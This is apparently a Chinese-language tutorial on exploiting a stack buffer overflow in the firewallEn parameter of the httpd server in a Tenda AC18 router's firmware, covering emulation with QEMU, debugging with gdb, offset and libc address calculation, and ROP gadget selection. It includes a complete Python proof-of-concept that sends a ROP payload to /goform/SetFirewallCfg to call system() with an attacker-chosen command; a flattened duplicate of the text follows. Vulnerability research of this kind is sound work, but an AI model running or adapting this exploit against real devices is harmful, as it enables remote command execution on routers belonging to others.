AC18-ARM架构下的栈溢出从挖掘到利用
字数 898 2025-08-30 06:50:27

ARM架构下的栈溢出漏洞挖掘与利用技术详解

一、环境准备与固件模拟

1. 固件分析工具准备

  • firmwalker工具:用于扫描固件中的web相关信息

    ./firmwalker.sh ../US_AC18V1.0BR_V15.03.05.05_multi_TD01.bin > log.log
    
  • binwalk工具:用于解压固件

    binwalk -Me US_AC18V1.0BR_V15.03.05.05_multi_TD01.bin
    

2. 固件架构识别

使用file命令识别固件架构:

file busybox

确认是LSB ARM小端架构。

3. QEMU用户级模拟

cp $(which qemu-arm-static) ./qemu
cp -rf ./webroot_ro/* ./webroot/
sudo chroot ./ ./qemu ./bin/httpd

4. IDA Pro逆向分析

使用IDA打开httpd二进制文件,定位关键函数。

二、漏洞定位与分析

1. 漏洞函数

漏洞位于formSetFirewallCfg函数中:

sub_16FE4("SetFirewallCfg", formSetFirewallCfg);

2. 漏洞点分析

  • 传入firewallEn参数,当值大于3时进行strcpy操作
  • 由于缺乏边界检查,导致栈溢出漏洞

三、漏洞利用技术

1. 动态调试环境搭建

# 第一个终端
sudo chroot ./ ./qemu -g 1234 ./bin/httpd

# 第二个终端
gdb-multiarch
set arch arm
tar rem :1234
c

2. 偏移量计算

使用cyclic模式计算溢出偏移:

import requests
from pwn import *

url = "http://192.168.50.18/goform/SetFirewallCfg"
cookie = {"Cookie":"password=1234111115"}
data = {"firewallEn": cyclic(100)}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

通过cyclic -l 0x6161616e计算得出溢出偏移为52字节。

3. 关键地址计算

libc基址计算

  1. 在gdb中下断点:
    b puts
    continue
    
  2. 使用IDA查看libc.so.0文件中puts函数的偏移量为0x35CD4
  3. 计算libc基址:
    libc基址 = 运行时地址 - IDA偏移量 = 0x3fdd5cd4 - 0x35cd4 = 0x3FDA0000
    

system函数地址计算

system_base = libc_base + 0x5A270

4. ROP链构造

Gadget查找

  1. 查找控制R3的gadget:

    ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
    

    结果为:0x00018298 : pop {r3, pc}

  2. 查找控制R0的gadget:

    ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
    

    结果为:0x00040cb8 : mov r0, sp ; blx r3

Payload构造

from pwn import *
import requests

cmd = b"echo PWN!"
libc_base = 0x3FDA0000
system_addr = libc_base + 0x5A270
gadget1_addr = libc_base + 0x18298
gadget2_addr = libc_base + 0x40cb8

payload = b'a'*52
payload += p32(gadget1_addr)  # pop {r3, pc}
payload += p32(system_addr)   # 存入r3
payload += p32(gadget2_addr)  # 跳转到gadget2
payload += cmd                # 字符串参数(通过r0传递)

url = "http://192.168.50.18/goform/SetFirewallCfg"
cookie = {"Cookie":"password=asdasddsada"}
data = {"firewallEn": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

四、动态调试验证

1. 调试环境

# 第一个终端
sudo chroot ./ ./qemu -g 1234 ./bin/httpd

# 第二个终端
gdb-multiarch
set arch arm 
file ./bin/httpd
tar rem :1234
b *0xAC7FC
c

2. 关键执行流程

  1. 运行至0xad03c (formSetFirewallCfg+3148)处的返回地址
  2. 成功跳转到gadget1
  3. 将system地址存入r3寄存器
  4. 运行到gadget2,控制R0寄存器
  5. 调用R3寄存器的system函数执行命令

五、总结

本技术文档详细介绍了ARM架构下栈溢出漏洞的完整利用流程,包括:

  1. 固件模拟环境的搭建
  2. 漏洞定位与分析方法
  3. 关键地址的计算技巧
  4. ROP链的构造方法
  5. 动态调试验证技术

关键点在于:

  • 准确计算溢出偏移
  • 正确获取libc基址和关键函数地址
  • 精心构造ROP链控制程序执行流
  • 通过动态调试验证利用效果
ARM架构下的栈溢出漏洞挖掘与利用技术详解 一、环境准备与固件模拟 1. 固件分析工具准备 firmwalker工具 :用于扫描固件中的web相关信息 binwalk工具 :用于解压固件 2. 固件架构识别 使用 file 命令识别固件架构: 确认是LSB ARM小端架构。 3. QEMU用户级模拟 4. IDA Pro逆向分析 使用IDA打开httpd二进制文件,定位关键函数。 二、漏洞定位与分析 1. 漏洞函数 漏洞位于 formSetFirewallCfg 函数中: 2. 漏洞点分析 传入 firewallEn 参数,当值大于3时进行 strcpy 操作 由于缺乏边界检查,导致栈溢出漏洞 三、漏洞利用技术 1. 动态调试环境搭建 2. 偏移量计算 使用cyclic模式计算溢出偏移: 通过 cyclic -l 0x6161616e 计算得出溢出偏移为52字节。 3. 关键地址计算 libc基址计算 在gdb中下断点: 使用IDA查看libc.so.0文件中puts函数的偏移量为0x35CD4 计算libc基址: system函数地址计算 4. ROP链构造 Gadget查找 查找控制R3的gadget: 结果为: 0x00018298 : pop {r3, pc} 查找控制R0的gadget: 结果为: 0x00040cb8 : mov r0, sp ; blx r3 Payload构造 四、动态调试验证 1. 调试环境 2. 关键执行流程 运行至 0xad03c (formSetFirewallCfg+3148) 处的返回地址 成功跳转到gadget1 将system地址存入r3寄存器 运行到gadget2,控制R0寄存器 调用R3寄存器的system函数执行命令 五、总结 本技术文档详细介绍了ARM架构下栈溢出漏洞的完整利用流程,包括: 固件模拟环境的搭建 漏洞定位与分析方法 关键地址的计算技巧 ROP链的构造方法 动态调试验证技术 关键点在于: 准确计算溢出偏移 正确获取libc基址和关键函数地址 精心构造ROP链控制程序执行流 通过动态调试验证利用效果